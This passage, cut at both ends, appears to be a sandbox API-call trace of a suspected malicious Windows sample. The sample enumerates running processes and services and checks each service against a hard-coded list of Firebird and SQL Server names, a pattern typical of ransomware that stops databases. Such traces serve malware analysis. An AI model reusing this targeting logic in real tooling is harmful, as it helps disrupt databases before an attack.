lstrlenW (lpString="movers-indication.exe") returned 21 [0157.871] Process32NextW (in: hSnapshot=0x2b4, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x910, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="drama tv thee.exe")) returned 1 [0157.872] lstrlenW (lpString="drama tv thee.exe") returned 17 [0157.872] Process32NextW (in: hSnapshot=0x2b4, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="barriers.exe")) returned 1 [0157.873] lstrlenW (lpString="barriers.exe") returned 12 [0157.873] Process32NextW (in: hSnapshot=0x2b4, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="shootclick.exe")) returned 1 [0157.873] lstrlenW (lpString="shootclick.exe") returned 14 [0157.873] Process32NextW (in: hSnapshot=0x2b4, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x200, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="nickel.exe")) returned 1 [0157.874] lstrlenW (lpString="nickel.exe") returned 10 [0157.874] Process32NextW (in: hSnapshot=0x2b4, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="imperialopened.exe")) returned 1 [0157.875] lstrlenW (lpString="imperialopened.exe") returned 18 [0157.875] Process32NextW (in: hSnapshot=0x2b4, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="russell indonesian fo.exe")) returned 1 [0157.876] lstrlenW (lpString="russell indonesian fo.exe") returned 25 [0157.876] Process32NextW (in: hSnapshot=0x2b4, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x548, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="blood popularity orbit.exe")) returned 1 [0157.877] lstrlenW (lpString="blood popularity orbit.exe") returned 26 [0157.877] Process32NextW (in: hSnapshot=0x2b4, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="perhapssentences.exe")) returned 1 [0157.877] lstrlenW (lpString="perhapssentences.exe") returned 20 [0157.877] Process32NextW (in: hSnapshot=0x2b4, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0157.878] lstrlenW (lpString="dllhost.exe") returned 11 [0157.878] Process32NextW (in: hSnapshot=0x2b4, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0157.879] lstrlenW (lpString="svchost.exe") returned 11 [0157.879] Process32NextW (in: hSnapshot=0x2b4, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="chrome64b.exe")) returned 1 [0157.880] lstrlenW (lpString="chrome64b.exe") returned 13 [0157.880] Process32NextW (in: hSnapshot=0x2b4, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x12c, pcPriClassBase=4, dwFlags=0x0, szExeFile="CompatTelRunner.exe")) returned 1 [0157.881] lstrlenW (lpString="CompatTelRunner.exe") returned 19 [0157.881] Process32NextW (in: hSnapshot=0x2b4, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe00, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xd20, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0157.882] lstrlenW (lpString="conhost.exe") returned 11 [0157.882] Process32NextW (in: hSnapshot=0x2b4, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0157.882] lstrlenW (lpString="cmd.exe") returned 7 [0157.883] Process32NextW (in: hSnapshot=0x2b4, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xb64, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0157.883] lstrlenW (lpString="conhost.exe") returned 11 [0157.883] Process32NextW (in: hSnapshot=0x2b4, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xb64, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 0 [0157.884] CloseHandle (hObject=0x2b4) returned 1 [0157.884] Sleep (dwMilliseconds=0x1f4) [0158.426] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x7cebb8 [0158.426] EnumServicesStatusExW (in: hSCManager=0x7cebb8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x256ff3c, lpServicesReturned=0x256ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x256ff3c, lpServicesReturned=0x256ff54, lpResumeHandle=0x0) returned 0 [0158.427] GetLastError () returned 0xea [0158.427] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x1f3c) returned 0x4260060 [0158.427] EnumServicesStatusExW (in: hSCManager=0x7cebb8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x4260060, cbBufSize=0x1f3c, pcbBytesNeeded=0x256ff3c, lpServicesReturned=0x256ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x4260060, pcbBytesNeeded=0x256ff3c, lpServicesReturned=0x256ff54, lpResumeHandle=0x0) returned 1 [0158.428] CloseServiceHandle (hSCObject=0x7cebb8) returned 1 [0158.428] lstrlenW (lpString="Appinfo") returned 7 [0158.428] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0158.428] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0158.428] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0158.428] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0158.428] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0158.428] lstrlenW (lpString="AppXSvc") returned 7 [0158.428] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0158.428] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0158.428] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0158.428] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0158.428] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0158.428] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0158.428] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0158.428] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0158.428] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0158.428] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0158.428] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0158.428] lstrlenW (lpString="Audiosrv") returned 8 [0158.428] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0158.428] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0158.428] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0158.428] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0158.428] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0158.428] lstrlenW (lpString="BFE") returned 3 [0158.428] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0158.429] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0158.429] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0158.429] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0158.429] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0158.429] lstrlenW (lpString="BITS") returned 4 [0158.429] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BITS") returned 1 [0158.429] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BITS") returned 1 [0158.429] lstrcmpiW (lpString1="sqlwriter", lpString2="BITS") returned 1 [0158.429] lstrcmpiW (lpString1="mssqlserver", lpString2="BITS") returned 1 [0158.429] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BITS") returned 1 [0158.429] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0158.429] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0158.429] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0158.429] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0158.429] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0158.429] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0158.429] lstrlenW (lpString="CDPSvc") returned 6 [0158.429] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0158.429] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0158.429] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0158.429] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0158.429] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0158.429] lstrlenW (lpString="ClickToRunSvc") returned 13 [0158.429] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0158.429] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0158.429] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0158.429] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0158.429] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0158.429] lstrlenW (lpString="ClipSVC") returned 7 [0158.429] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClipSVC") returned 1 [0158.429] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClipSVC") returned 1 [0158.429] lstrcmpiW (lpString1="sqlwriter", lpString2="ClipSVC") returned 1 [0158.429] lstrcmpiW (lpString1="mssqlserver", lpString2="ClipSVC") returned 1 [0158.429] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClipSVC") returned 1 [0158.430] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0158.430] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0158.430] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0158.430] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0158.430] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0158.430] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0158.430] lstrlenW (lpString="CryptSvc") returned 8 [0158.430] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0158.430] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0158.430] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0158.430] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0158.430] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0158.430] lstrlenW (lpString="DcomLaunch") returned 10 [0158.430] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0158.430] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0158.430] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0158.430] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0158.430] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0158.430] lstrlenW (lpString="DeviceAssociationService") returned 24 [0158.430] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0158.430] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0158.430] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0158.430] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0158.430] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0158.430] lstrlenW (lpString="Dhcp") returned 4 [0158.430] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0158.430] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0158.430] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0158.430] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0158.430] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0158.430] lstrlenW (lpString="Dnscache") returned 8 [0158.430] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0158.430] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0158.430] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0158.430] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0158.431] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0158.431] lstrlenW (lpString="DoSvc") returned 5 [0158.431] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DoSvc") returned 1 [0158.431] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DoSvc") returned 1 [0158.431] lstrcmpiW (lpString1="sqlwriter", lpString2="DoSvc") returned 1 [0158.431] lstrcmpiW (lpString1="mssqlserver", lpString2="DoSvc") returned 1 [0158.431] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DoSvc") returned 1 [0158.431] lstrlenW (lpString="DPS") returned 3 [0158.431] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0158.431] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0158.431] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0158.431] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0158.431] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0158.431] lstrlenW (lpString="DusmSvc") returned 7 [0158.431] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0158.431] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0158.431] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0158.431] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0158.431] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0158.431] lstrlenW (lpString="EventLog") returned 8 [0158.431] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0158.431] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0158.431] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0158.431] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0158.431] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0158.431] lstrlenW (lpString="EventSystem") returned 11 [0158.431] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0158.431] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0158.431] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0158.431] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0158.431] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0158.431] lstrlenW (lpString="FontCache") returned 9 [0158.431] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0158.431] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0158.432] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0158.432] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0158.432] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0158.432] lstrlenW (lpString="gpsvc") returned 5 [0158.432] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0158.432] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0158.432] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0158.432] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0158.432] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0158.432] lstrlenW (lpString="iphlpsvc") returned 8 [0158.432] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0158.432] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0158.432] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0158.432] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0158.432] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0158.432] lstrlenW (lpString="KeyIso") returned 6 [0158.432] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0158.432] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0158.432] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0158.432] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0158.432] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0158.432] lstrlenW (lpString="LanmanServer") returned 12 [0158.432] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0158.432] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0158.432] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0158.432] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0158.432] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0158.432] lstrlenW (lpString="LanmanWorkstation") returned 17 [0158.432] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0158.432] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0158.432] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0158.432] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0158.432] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0158.433] lstrlenW (lpString="lfsvc") returned 5 [0158.433] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0158.433] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0158.433] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0158.433] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0158.433] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0158.433] lstrlenW (lpString="LicenseManager") returned 14 [0158.433] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LicenseManager") returned -1 [0158.433] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LicenseManager") returned -1 [0158.433] lstrcmpiW (lpString1="sqlwriter", lpString2="LicenseManager") returned 1 [0158.433] lstrcmpiW (lpString1="mssqlserver", lpString2="LicenseManager") returned 1 [0158.433] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LicenseManager") returned 1 [0158.433] lstrlenW (lpString="lmhosts") returned 7 [0158.433] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0158.433] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0158.433] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0158.433] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0158.433] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0158.433] lstrlenW (lpString="LSM") returned 3 [0158.433] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0158.433] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0158.433] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0158.433] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0158.433] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0158.433] lstrlenW (lpString="MpsSvc") returned 6 [0158.433] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0158.433] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0158.433] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0158.433] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0158.433] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0158.433] lstrlenW (lpString="NcbService") returned 10 [0158.433] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0158.433] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0158.434] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0158.434] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0158.434] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0158.434] lstrlenW (lpString="netprofm") returned 8 [0158.434] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0158.434] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0158.434] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0158.434] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0158.434] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0158.434] lstrlenW (lpString="NgcSvc") returned 6 [0158.434] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0158.434] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0158.434] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0158.434] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0158.434] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0158.434] lstrlenW (lpString="NlaSvc") returned 6 [0158.434] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0158.434] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0158.434] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0158.434] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0158.434] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0158.434] lstrlenW (lpString="nsi") returned 3 [0158.434] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0158.434] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0158.434] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0158.434] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0158.434] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0158.434] lstrlenW (lpString="PcaSvc") returned 6 [0158.434] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0158.434] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0158.435] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0158.435] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0158.435] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0158.435] lstrlenW (lpString="PlugPlay") returned 8 [0158.435] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0158.435] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0158.435] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0158.435] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0158.435] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0158.435] lstrlenW (lpString="Power") returned 5 [0158.435] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0158.435] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0158.435] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0158.435] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0158.435] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0158.435] lstrlenW (lpString="ProfSvc") returned 7 [0158.435] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0158.435] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0158.435] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0158.435] lstrcmpiW (lpString1="mssqlserver", 